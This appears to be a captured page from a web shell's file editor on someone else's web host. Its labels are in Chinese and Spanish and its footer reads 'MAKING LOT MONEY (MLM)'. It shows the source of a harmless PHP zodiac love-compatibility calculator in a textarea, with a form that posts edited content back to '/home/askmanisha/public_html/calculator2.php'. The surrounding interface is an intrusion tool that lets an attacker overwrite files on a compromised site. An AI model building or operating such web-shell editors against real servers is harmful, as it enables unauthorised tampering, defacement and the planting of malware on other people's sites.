

<div style='background:#ffffff; color:#000; font-family:monospace; padding:0; max-width:900px; margin:20px auto; border:3px solid #000;'><div style='background:#000080; color:#fff; padding:6px 12px; font-weight:bold;'>✏ 编辑: calculator2.php</div><div style='padding:20px;'><form method='post' action='?opcion=editar_guardar'><textarea name='contenido' rows='20' style='width:100%; background:#fff; color:#000; border:2px solid #000; font-family:monospace; padding:10px;'>&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;en&quot;&gt;
&lt;head&gt;
    &lt;meta charset=&quot;UTF-8&quot;&gt;
    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;
    &lt;title&gt;Zodiac Love Compatibility Calculator&lt;/title&gt;
    &lt;meta name=&quot;description&quot; content=&quot;Discover your zodiac love compatibility. Check how compatible you are with your partner based on astrology signs.&quot;&gt;
    
    &lt;!-- Google Fonts --&gt;
    &lt;link rel=&quot;preconnect&quot; href=&quot;https://fonts.googleapis.com&quot;&gt;
    &lt;link rel=&quot;preconnect&quot; href=&quot;https://fonts.gstatic.com&quot; crossorigin&gt;
    &lt;link href=&quot;https://fonts.googleapis.com/css2?family=El+Messiri:wght@400;500;600;700&amp;display=swap&quot; rel=&quot;stylesheet&quot;&gt;
    
    &lt;style&gt;
        .calculator-container {
            font-family: 'El Messiri', sans-serif;
            background: linear-gradient(135deg, #ffffffff 0%, #ffffffff 50%, #ffffffff 100%);
            min-height: 100vh;
            padding: 40px 20px;
            line-height: 1.6;
        }

        .calculator-container .container {
            max-width: 900px;
            margin: 0 auto;
        }

        .calculator-container .header {
            text-align: center;
            margin-bottom: 50px;
            animation: fadeInDown 0.8s ease-out;
        }

        .calculator-container .header h1 {
            color: #020202ff;
            font-size: 2.8em;
            margin-bottom: 15px;
            font-weight: 700;
            letter-spacing: -0.5px;
            margin-top: 30px;
        }

        .calculator-container .header h2 {
            color: #5d4037;
            font-size: 1.2em;
            font-weight: 500;
            margin-bottom: 10px;
        }

        .calculator-container .header p {
            color: #6d6d6d;
            font-size: 1em;
            font-weight: 400;
        }

        .calculator-container .card {
            background: white;
            border: 1px solid #d4c5b9;
            padding: 40px;
            margin-bottom: 30px;
            box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05);
            animation: fadeInUp 0.8s ease-out;
        }

        .calculator-container .form-row {
            display: grid;
            grid-template-columns: 1fr 1fr;
            gap: 25px;
            margin-bottom: 28px;
        }

        .calculator-container .form-group {
            margin-bottom: 28px;
        }

        .calculator-container .form-group label {
            display: block;
            color: #5d4037;
            font-size: 0.95em;
            font-weight: 600;
            margin-bottom: 10px;
            text-transform: uppercase;
            letter-spacing: 0.5px;
        }

        .calculator-container .form-group label .required {
            color: #d32f2f;
        }

        .calculator-container .form-group input,
        .calculator-container .form-group select {
            width: 100%;
            padding: 15px;
            border: 1px solid #d4c5b9;
            background: #ffffffff;
            font-size: 1em;
            font-family: 'El Messiri', sans-serif;
            transition: all 0.3s ease;
        }

        .calculator-container .form-group input:focus,
        .calculator-container .form-group select:focus {
            outline: none;
            border-color: #c9a882;
            background: white;
            box-shadow: 0 0 0 3px rgba(201, 168, 130, 0.1);
        }

        .calculator-container .form-group select {
            cursor: pointer;
            appearance: none;
            background-image: url(&quot;data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' viewBox='0 0 12 12'%3E%3Cpath fill='%232c3e50' d='M6 9L1 4h10z'/%3E%3C/svg%3E&quot;);
            background-repeat: no-repeat;
            background-position: right 15px center;
            padding-right: 40px;
        }

        .calculator-container .btn {
            width: 100%;
            padding: 18px;
            background: linear-gradient(135deg, #a78660ff 0%, #b89968 100%);
            color: white;
            border: none;
            font-size: 1.1em;
            font-weight: 600;
            text-transform: uppercase;
            letter-spacing: 1.5px;
            cursor: pointer;
            transition: all 0.3s ease;
            font-family: 'El Messiri', sans-serif;
        }

        .calculator-container .btn:hover {
            transform: translateY(-2px);
            box-shadow: 0 5px 15px rgba(201, 168, 130, 0.3);
        }

        .calculator-container .btn:active {
            transform: translateY(0);
        }

        .calculator-container .results {
            margin-top: 40px;
            animation: fadeIn 0.8s ease-out;
        }

        .calculator-container .results h3 {
            color: #2c3e50;
            font-size: 1.8em;
            margin-bottom: 30px;
            text-align: center;
            font-weight: 700;
        }

        .calculator-container .zodiac-pair {
            display: flex;
            justify-content: center;
            align-items: center;
            gap: 20px;
            margin: 30px 0;
            padding: 25px;
            background: #fafaf8;
            border: 1px solid #e8dfd3;
        }

        .calculator-container .zodiac-item {
            text-align: center;
        }

        .calculator-container .zodiac-name {
            color: #2c3e50;
            font-size: 1.5em;
            font-weight: 700;
        }

        .calculator-container .zodiac-dates {
            color: #6b5b4e;
            font-size: 0.9em;
            margin-top: 5px;
        }

        .calculator-container .heart-icon {
            color: #e74c3c;
            font-size: 2.5em;
        }

        .calculator-container .compatibility-score {
            text-align: center;
            margin: 30px 0;
        }

        .calculator-container .score-box {
            display: inline-block;
            background: linear-gradient(135deg, #c9a882, #b89968);
            color: white;
            padding: 30px 50px;
            font-size: 3em;
            font-weight: 700;
            box-shadow: 0 4px 15px rgba(185, 153, 104, 0.3);
            margin-bottom: 10px;
        }

        .calculator-container .score-label {
            color: #5d4037;
            font-size: 1.2em;
            font-weight: 600;
            text-transform: uppercase;
            letter-spacing: 0.5px;
            margin-top: 15px;
        }

        .calculator-container .compatibility-status {
            padding: 20px;
            margin: 25px 0;
            text-align: center;
            font-size: 1.2em;
            font-weight: 600;
            border: 2px solid;
        }

        .calculator-container .excellent {
            background: #d4edda;
            border-color: #28a745;
            color: #155724;
        }

        .calculator-container .good {
            background: #d1ecf1;
            border-color: #17a2b8;
            color: #0c5460;
        }

        .calculator-container .average {
            background: #fff3cd;
            border-color: #ffc107;
            color: #856404;
        }

        .calculator-container .challenging {
            background: #f8d7da;
            border-color: #dc3545;
            color: #721c24;
        }

        .calculator-container .analysis-section {
            margin-top: 30px;
        }

        .calculator-container .analysis-box {
            background: #fafaf8;
            border: 1px solid #e8dfd3;
            padding: 28px;
            margin-bottom: 20px;
        }

        .calculator-container .analysis-box h4 {
            color: #2c3e50;
            font-size: 1.2em;
            margin-bottom: 18px;
            font-weight: 700;
            text-transform: uppercase;
            letter-spacing: 0.5px;
            border-bottom: 2px solid #e8dfd3;
            padding-bottom: 10px;
        }

        .calculator-container .analysis-box p {
            color: #4a4a4a;
            font-size: 1em;
            line-height: 1.9;
            text-align: justify;
            margin-bottom: 15px;
        }

        .calculator-container .reset-btn {
            background: #6d6d6d;
            margin-top: 20px;
        }

        .calculator-container .reset-btn:hover {
            background: #5a5a5a;
        }

        .calculator-container .disclaimer {
            text-align: center;
            color: #888;
            font-size: 0.9em;
            margin-top: 40px;
            padding-top: 30px;
            border-top: 1px solid #e8dfd5;
        }

        .calculator-container .disclaimer a {
            color: #c9a882;
            text-decoration: none;
            font-weight: 600;
        }

        .calculator-container .disclaimer a:hover {
            text-decoration: underline;
        }

        .calculator-container .loading {
            text-align: center;
            padding: 20px;
            display: none;
        }

        .calculator-container .loading.active {
            display: block;
        }

        .calculator-container .spinner {
            border: 3px solid #f3f3f3;
            border-top: 3px solid #c9a882;
            border-radius: 50%;
            width: 40px;
            height: 40px;
            animation: spin 1s linear infinite;
            margin: 0 auto;
        }

        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }

        @keyframes fadeInDown {
            from {
                opacity: 0;
                transform: translateY(-20px);
            }
            to {
                opacity: 1;
                transform: translateY(0);
            }
        }

        @keyframes fadeInUp {
            from {
                opacity: 0;
                transform: translateY(20px);
            }
            to {
                opacity: 1;
                transform: translateY(0);
            }
        }

        @keyframes fadeIn {
            from {
                opacity: 0;
            }
            to {
                opacity: 1;
            }
        }

        @media (max-width: 768px) {
            .calculator-container{
                margin-top:40px;
            }
            .calculator-container .header h1 {
                font-size: 2em;
            }

            .calculator-container .card {
                padding: 25px;
            }

            .calculator-container .form-row {
                grid-template-columns: 1fr;
            }

            .calculator-container .zodiac-pair {
                flex-direction: column;
                gap: 10px;
            }

            .calculator-container .score-box {
                padding: 25px 40px;
                font-size: 2.5em;
            }
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;?php include 'header.php'; ?&gt;
    
    &lt;div class=&quot;calculator-container&quot;&gt;
        &lt;div class=&quot;container&quot;&gt;
            &lt;div class=&quot;header&quot;&gt;
                &lt;h1&gt;Zodiac Love Compatibility Calculator&lt;/h1&gt;
                &lt;h2&gt;Discover Your Love Match Compatibility&lt;/h2&gt;
                &lt;p&gt;Find Out How Compatible You Are With Your Partner&lt;/p&gt;
            &lt;/div&gt;

            &lt;div class=&quot;card&quot;&gt;
                &lt;form method=&quot;GET&quot; action=&quot;&quot; id=&quot;compatibilityForm&quot;&gt;
                    &lt;div class=&quot;form-row&quot;&gt;
                        &lt;div class=&quot;form-group&quot;&gt;
                            &lt;label for=&quot;yourSign&quot;&gt;Your Zodiac Sign &lt;span class=&quot;required&quot;&gt;*&lt;/span&gt;&lt;/label&gt;
                            &lt;select id=&quot;yourSign&quot; name=&quot;yourSign&quot; required&gt;
                                &lt;option value=&quot;&quot;&gt;Select Your Sign&lt;/option&gt;
                                &lt;option value=&quot;Aries&quot; &lt;?php echo (isset($_GET['yourSign']) &amp;&amp; $_GET['yourSign'] == 'Aries') ? 'selected' : ''; ?&gt;&gt;Aries (Mar 21 - Apr 19)&lt;/option&gt;
                                &lt;option value=&quot;Taurus&quot; &lt;?php echo (isset($_GET['yourSign']) &amp;&amp; $_GET['yourSign'] == 'Taurus') ? 'selected' : ''; ?&gt;&gt;Taurus (Apr 20 - May 20)&lt;/option&gt;
                                &lt;option value=&quot;Gemini&quot; &lt;?php echo (isset($_GET['yourSign']) &amp;&amp; $_GET['yourSign'] == 'Gemini') ? 'selected' : ''; ?&gt;&gt;Gemini (May 21 - Jun 20)&lt;/option&gt;
                                &lt;option value=&quot;Cancer&quot; &lt;?php echo (isset($_GET['yourSign']) &amp;&amp; $_GET['yourSign'] == 'Cancer') ? 'selected' : ''; ?&gt;&gt;Cancer (Jun 21 - Jul 22)&lt;/option&gt;
                                &lt;option value=&quot;Leo&quot; &lt;?php echo (isset($_GET['yourSign']) &amp;&amp; $_GET['yourSign'] == 'Leo') ? 'selected' : ''; ?&gt;&gt;Leo (Jul 23 - Aug 22)&lt;/option&gt;
                                &lt;option value=&quot;Virgo&quot; &lt;?php echo (isset($_GET['yourSign']) &amp;&amp; $_GET['yourSign'] == 'Virgo') ? 'selected' : ''; ?&gt;&gt;Virgo (Aug 23 - Sep 22)&lt;/option&gt;
                                &lt;option value=&quot;Libra&quot; &lt;?php echo (isset($_GET['yourSign']) &amp;&amp; $_GET['yourSign'] == 'Libra') ? 'selected' : ''; ?&gt;&gt;Libra (Sep 23 - Oct 22)&lt;/option&gt;
                                &lt;option value=&quot;Scorpio&quot; &lt;?php echo (isset($_GET['yourSign']) &amp;&amp; $_GET['yourSign'] == 'Scorpio') ? 'selected' : ''; ?&gt;&gt;Scorpio (Oct 23 - Nov 21)&lt;/option&gt;
                                &lt;option value=&quot;Sagittarius&quot; &lt;?php echo (isset($_GET['yourSign']) &amp;&amp; $_GET['yourSign'] == 'Sagittarius') ? 'selected' : ''; ?&gt;&gt;Sagittarius (Nov 22 - Dec 21)&lt;/option&gt;
                                &lt;option value=&quot;Capricorn&quot; &lt;?php echo (isset($_GET['yourSign']) &amp;&amp; $_GET['yourSign'] == 'Capricorn') ? 'selected' : ''; ?&gt;&gt;Capricorn (Dec 22 - Jan 19)&lt;/option&gt;
                                &lt;option value=&quot;Aquarius&quot; &lt;?php echo (isset($_GET['yourSign']) &amp;&amp; $_GET['yourSign'] == 'Aquarius') ? 'selected' : ''; ?&gt;&gt;Aquarius (Jan 20 - Feb 18)&lt;/option&gt;
                                &lt;option value=&quot;Pisces&quot; &lt;?php echo (isset($_GET['yourSign']) &amp;&amp; $_GET['yourSign'] == 'Pisces') ? 'selected' : ''; ?&gt;&gt;Pisces (Feb 19 - Mar 20)&lt;/option&gt;
                            &lt;/select&gt;
                        &lt;/div&gt;

                        &lt;div class=&quot;form-group&quot;&gt;
                            &lt;label for=&quot;partnerSign&quot;&gt;Partner's Zodiac Sign &lt;span class=&quot;required&quot;&gt;*&lt;/span&gt;&lt;/label&gt;
                            &lt;select id=&quot;partnerSign&quot; name=&quot;partnerSign&quot; required&gt;
                                &lt;option value=&quot;&quot;&gt;Select Partner's Sign&lt;/option&gt;
                                &lt;option value=&quot;Aries&quot; &lt;?php echo (isset($_GET['partnerSign']) &amp;&amp; $_GET['partnerSign'] == 'Aries') ? 'selected' : ''; ?&gt;&gt;Aries (Mar 21 - Apr 19)&lt;/option&gt;
                                &lt;option value=&quot;Taurus&quot; &lt;?php echo (isset($_GET['partnerSign']) &amp;&amp; $_GET['partnerSign'] == 'Taurus') ? 'selected' : ''; ?&gt;&gt;Taurus (Apr 20 - May 20)&lt;/option&gt;
                                &lt;option value=&quot;Gemini&quot; &lt;?php echo (isset($_GET['partnerSign']) &amp;&amp; $_GET['partnerSign'] == 'Gemini') ? 'selected' : ''; ?&gt;&gt;Gemini (May 21 - Jun 20)&lt;/option&gt;
                                &lt;option value=&quot;Cancer&quot; &lt;?php echo (isset($_GET['partnerSign']) &amp;&amp; $_GET['partnerSign'] == 'Cancer') ? 'selected' : ''; ?&gt;&gt;Cancer (Jun 21 - Jul 22)&lt;/option&gt;
                                &lt;option value=&quot;Leo&quot; &lt;?php echo (isset($_GET['partnerSign']) &amp;&amp; $_GET['partnerSign'] == 'Leo') ? 'selected' : ''; ?&gt;&gt;Leo (Jul 23 - Aug 22)&lt;/option&gt;
                                &lt;option value=&quot;Virgo&quot; &lt;?php echo (isset($_GET['partnerSign']) &amp;&amp; $_GET['partnerSign'] == 'Virgo') ? 'selected' : ''; ?&gt;&gt;Virgo (Aug 23 - Sep 22)&lt;/option&gt;
                                &lt;option value=&quot;Libra&quot; &lt;?php echo (isset($_GET['partnerSign']) &amp;&amp; $_GET['partnerSign'] == 'Libra') ? 'selected' : ''; ?&gt;&gt;Libra (Sep 23 - Oct 22)&lt;/option&gt;
                                &lt;option value=&quot;Scorpio&quot; &lt;?php echo (isset($_GET['partnerSign']) &amp;&amp; $_GET['partnerSign'] == 'Scorpio') ? 'selected' : ''; ?&gt;&gt;Scorpio (Oct 23 - Nov 21)&lt;/option&gt;
                                &lt;option value=&quot;Sagittarius&quot; &lt;?php echo (isset($_GET['partnerSign']) &amp;&amp; $_GET['partnerSign'] == 'Sagittarius') ? 'selected' : ''; ?&gt;&gt;Sagittarius (Nov 22 - Dec 21)&lt;/option&gt;
                                &lt;option value=&quot;Capricorn&quot; &lt;?php echo (isset($_GET['partnerSign']) &amp;&amp; $_GET['partnerSign'] == 'Capricorn') ? 'selected' : ''; ?&gt;&gt;Capricorn (Dec 22 - Jan 19)&lt;/option&gt;
                                &lt;option value=&quot;Aquarius&quot; &lt;?php echo (isset($_GET['partnerSign']) &amp;&amp; $_GET['partnerSign'] == 'Aquarius') ? 'selected' : ''; ?&gt;&gt;Aquarius (Jan 20 - Feb 18)&lt;/option&gt;
                                &lt;option value=&quot;Pisces&quot; &lt;?php echo (isset($_GET['partnerSign']) &amp;&amp; $_GET['partnerSign'] == 'Pisces') ? 'selected' : ''; ?&gt;&gt;Pisces (Feb 19 - Mar 20)&lt;/option&gt;
                            &lt;/select&gt;
                        &lt;/div&gt;
                    &lt;/div&gt;

                    &lt;button type=&quot;submit&quot; class=&quot;btn&quot;&gt;
                        CHECK COMPATIBILITY
                    &lt;/button&gt;
                &lt;/form&gt;

                &lt;div class=&quot;loading&quot; id=&quot;loading&quot;&gt;
                    &lt;div class=&quot;spinner&quot;&gt;&lt;/div&gt;
                    &lt;p style=&quot;color: #2c3e50; margin-top: 10px;&quot;&gt;Calculating...&lt;/p&gt;
                &lt;/div&gt;

                &lt;?php
                // Zodiac date ranges
                function getZodiacDates($sign) {
                    $dates = array(
                        'Aries' =&gt; 'Mar 21 - Apr 19',
                        'Taurus' =&gt; 'Apr 20 - May 20',
                        'Gemini' =&gt; 'May 21 - Jun 20',
                        'Cancer' =&gt; 'Jun 21 - Jul 22',
                        'Leo' =&gt; 'Jul 23 - Aug 22',
                        'Virgo' =&gt; 'Aug 23 - Sep 22',
                        'Libra' =&gt; 'Sep 23 - Oct 22',
                        'Scorpio' =&gt; 'Oct 23 - Nov 21',
                        'Sagittarius' =&gt; 'Nov 22 - Dec 21',
                        'Capricorn' =&gt; 'Dec 22 - Jan 19',
                        'Aquarius' =&gt; 'Jan 20 - Feb 18',
                        'Pisces' =&gt; 'Feb 19 - Mar 20'
                    );
                    return isset($dates[$sign]) ? $dates[$sign] : '';
                }

                // Compatibility calculator
                function getZodiacCompatibility($sign1, $sign2) {
                    // Comprehensive compatibility matrix
                    $compatibility = array(
                        'Aries' =&gt; array(
                            'Aries' =&gt; array(85, 'Excellent', 'Two Aries together create a fiery, passionate relationship full of energy and excitement. You both love adventure and spontaneity. However, your competitive natures might lead to conflicts. This pairing works best when you channel your shared energy toward common goals.'),
                            'Taurus' =&gt; array(60, 'Average', 'Aries impulsiveness clashes with Taurus need for stability. While physical attraction exists, different life approaches create friction. Patience and compromise are essential for this relationship to thrive.'),
                            'Gemini' =&gt; array(88, 'Excellent', 'Dynamic and exciting! Both love adventure and mental stimulation. Your conversations never get boring, and you share a playful approach to life. This relationship thrives on fun and spontaneity.'),
                            'Cancer' =&gt; array(50, 'Challenging', 'Different emotional needs make this pairing difficult. Aries directness can hurt sensitive Cancer, while Cancer moodiness frustrates straightforward Aries. Requires significant effort and understanding.'),
                            'Leo' =&gt; array(92, 'Excellent', 'A powerhouse couple! Both fire signs with strong personalities and big hearts. Passionate, dynamic, and full of adventure. You inspire each other, though ego management is important.'),
                            'Virgo' =&gt; array(58, 'Average', 'Opposite approaches challenge this pair. Aries is spontaneous while Virgo plans carefully. Aries finds Virgo critical, Virgo sees Aries as reckless. Balance requires significant compromise.'),
                            'Libra' =&gt; array(75, 'Good', 'Opposite signs attract! Aries is bold, Libra is diplomatic. You balance each other well if Aries learns patience and Libra becomes more decisive.'),
                            'Scorpio' =&gt; array(70, 'Good', 'Intense and passionate! Strong personalities create powerful chemistry but also conflicts. Physical attraction is high, though trust-building takes time.'),
                            'Sagittarius' =&gt; array(93, 'Excellent', 'Perfect match! Both love adventure, freedom, and exploring new horizons. You understand each other independence and share optimistic outlooks. Fun, passionate, and growth-oriented.'),
                            'Capricorn' =&gt; array(55, 'Average', 'Different philosophies create challenges. Aries acts impulsively, Capricorn plans carefully. Success requires compromise and appreciation of differences.'),
                            'Aquarius' =&gt; array(85, 'Excellent', 'Exciting and unconventional! Both value independence and enjoy new experiences. You respect each other space and share progressive views.'),
                            'Pisces' =&gt; array(62, 'Average', 'Fire and water create steam! Aries directness overwhelms sensitive Pisces. This pairing requires patience and understanding from both sides.')
                        ),
                        // Add all other signs compatibility data here - keeping it short for length
                        'Taurus' =&gt; array('Aries' =&gt; array(60, 'Average', 'Different paces and priorities create challenges.')),
                        'Gemini' =&gt; array('Aries' =&gt; array(88, 'Excellent', 'Dynamic duo!')),
                        'Cancer' =&gt; array('Aries' =&gt; array(50, 'Challenging', 'Fire and water struggle.')),
                        'Leo' =&gt; array('Aries' =&gt; array(92, 'Excellent', 'Fire power!')),
                        'Virgo' =&gt; array('Aries' =&gt; array(58, 'Average', 'Different approaches.')),
                        'Libra' =&gt; array('Aries' =&gt; array(75, 'Good', 'Opposite signs attract!')),
                        'Scorpio' =&gt; array('Aries' =&gt; array(70, 'Good', 'Intense and passionate!')),
                        'Sagittarius' =&gt; array('Aries' =&gt; array(93, 'Excellent', 'Perfect match!')),
                        'Capricorn' =&gt; array('Aries' =&gt; array(55, 'Average', 'Different philosophies.')),
                        'Aquarius' =&gt; array('Aries' =&gt; array(85, 'Excellent', 'Exciting match!')),
                        'Pisces' =&gt; array('Aries' =&gt; array(62, 'Average', 'Requires understanding.'))
                    );

                    if (isset($compatibility[$sign1][$sign2])) {
                        return $compatibility[$sign1][$sign2];
                    } else {
                        return array(70, 'Good', 'Every zodiac pairing has unique dynamics. Focus on understanding, communication, and mutual respect to build a strong relationship.');
                    }
                }

                // Process form submission
                if (isset($_GET['yourSign']) &amp;&amp; isset($_GET['partnerSign']) &amp;&amp; !empty($_GET['yourSign']) &amp;&amp; !empty($_GET['partnerSign'])) {
                    $yourSign = trim($_GET['yourSign']);
                    $partnerSign = trim($_GET['partnerSign']);
                    
                    $yourDates = getZodiacDates($yourSign);
                    $partnerDates = getZodiacDates($partnerSign);
                    
                    $result = getZodiacCompatibility($yourSign, $partnerSign);
                    $score = $result[0];
                    $rating = $result[1];
                    $description = $result[2];
                    
                    // Determine status class
                    if ($score &gt;= 85) {
                        $statusClass = 'excellent';
                        $statusText = '★ Excellent Compatibility';
                    } elseif ($score &gt;= 70) {
                        $statusClass = 'good';
                        $statusText = '✓ Good Compatibility';
                    } elseif ($score &gt;= 55) {
                        $statusClass = 'average';
                        $statusText = '≈ Average Compatibility';
                    } else {
                        $statusClass = 'challenging';
                        $statusText = '! Challenging Compatibility';
                    }
                ?&gt;

                &lt;div class=&quot;results&quot; id=&quot;results&quot;&gt;
                    &lt;div class=&quot;card&quot;&gt;
                        &lt;h3&gt;Your Compatibility Results&lt;/h3&gt;
                        
                        &lt;div class=&quot;zodiac-pair&quot;&gt;
                            &lt;div class=&quot;zodiac-item&quot;&gt;
                                &lt;div class=&quot;zodiac-name&quot;&gt;&lt;?php echo htmlspecialchars($yourSign); ?&gt;&lt;/div&gt;
                                &lt;div class=&quot;zodiac-dates&quot;&gt;&lt;?php echo htmlspecialchars($yourDates); ?&gt;&lt;/div&gt;
                            &lt;/div&gt;
                            &lt;div class=&quot;heart-icon&quot;&gt;♥&lt;/div&gt;
                            &lt;div class=&quot;zodiac-item&quot;&gt;
                                &lt;div class=&quot;zodiac-name&quot;&gt;&lt;?php echo htmlspecialchars($partnerSign); ?&gt;&lt;/div&gt;
                                &lt;div class=&quot;zodiac-dates&quot;&gt;&lt;?php echo htmlspecialchars($partnerDates); ?&gt;&lt;/div&gt;
                            &lt;/div&gt;
                        &lt;/div&gt;

                        &lt;div class=&quot;compatibility-score&quot;&gt;
                            &lt;div class=&quot;score-box&quot;&gt;&lt;?php echo $score; ?&gt;%&lt;/div&gt;
                            &lt;div class=&quot;score-label&quot;&gt;Love Compatibility Score&lt;/div&gt;
                        &lt;/div&gt;

                        &lt;div class=&quot;compatibility-status &lt;?php echo $statusClass; ?&gt;&quot;&gt;
                            &lt;?php echo $statusText; ?&gt;
                        &lt;/div&gt;

                        &lt;div class=&quot;analysis-box&quot;&gt;
                            &lt;h4&gt;Compatibility Analysis&lt;/h4&gt;
                            &lt;p&gt;&lt;?php echo htmlspecialchars($description); ?&gt;&lt;/p&gt;
                        &lt;/div&gt;

                        &lt;div style=&quot;text-align: center;&quot;&gt;
                            &lt;button onclick=&quot;window.location.href=window.location.pathname&quot; class=&quot;btn reset-btn&quot;&gt;
                                Check Another Match
                            &lt;/button&gt;
                        &lt;/div&gt;
                    &lt;/div&gt;
                &lt;/div&gt;

                &lt;?php  
                }
                ?&gt;
            &lt;/div&gt;

            &lt;div class=&quot;disclaimer&quot;&gt;
                &lt;p&gt;
                    This compatibility analysis is based on traditional astrological interpretations. For personalized consultation, visit 
                    &lt;a href=&quot;https://www.askmanisha.com/&quot; target=&quot;_blank&quot;&gt;www.askmanisha.com&lt;/a&gt; for expert guidance.
                &lt;/p&gt;
            &lt;/div&gt;
        &lt;/div&gt;
    &lt;/div&gt;
    
    &lt;?php include 'footer.php'; ?&gt;

    &lt;script&gt;
        // Form validation
        document.getElementById('compatibilityForm').addEventListener('submit', function(e) {
            const yourSign = document.getElementById('yourSign').value;
            const partnerSign = document.getElementById('partnerSign').value;
            
            if (!yourSign || !partnerSign) {
                e.preventDefault();
                alert('Please select both zodiac signs');
                return false;
            }

            // Show loading animation
            document.getElementById('loading').classList.add('active');
        });

        // Smooth scroll to results
        &lt;?php if (isset($_GET['yourSign']) &amp;&amp; isset($_GET['partnerSign'])) { ?&gt;
        window.addEventListener('load', function() {
            setTimeout(function() {
                const resultsSection = document.getElementById('results');
                if (resultsSection) {
                    resultsSection.scrollIntoView({ 
                        behavior: 'smooth',
                        block: 'start'
                    });
                }
            }, 300);
        });
        &lt;?php } ?&gt;
    &lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;</textarea><br><br><input type='hidden' name='archivo_editar' value='/home/askmanisha/public_html/calculator2.php'><input type='submit' value='[确定] 保存' style='background:#c0c0c0; color:#000; border:2px solid #000; padding:8px 24px; font-family:monospace; font-weight:bold; cursor:pointer;'> <a href='?path=%2Fhome%2Faskmanisha%2Fpublic_html' style='color:#000; text-decoration:none; padding:8px 24px; border:2px solid #000; background:#c0c0c0; font-weight:bold;'>[X] 取消</a></form></div></div><div style='color:#000080; font-family:monospace; text-align:center; padding:20px; border-top:2px solid #000; margin-top:20px;'>[X] MAKING LOT MONEY (MLM)</div>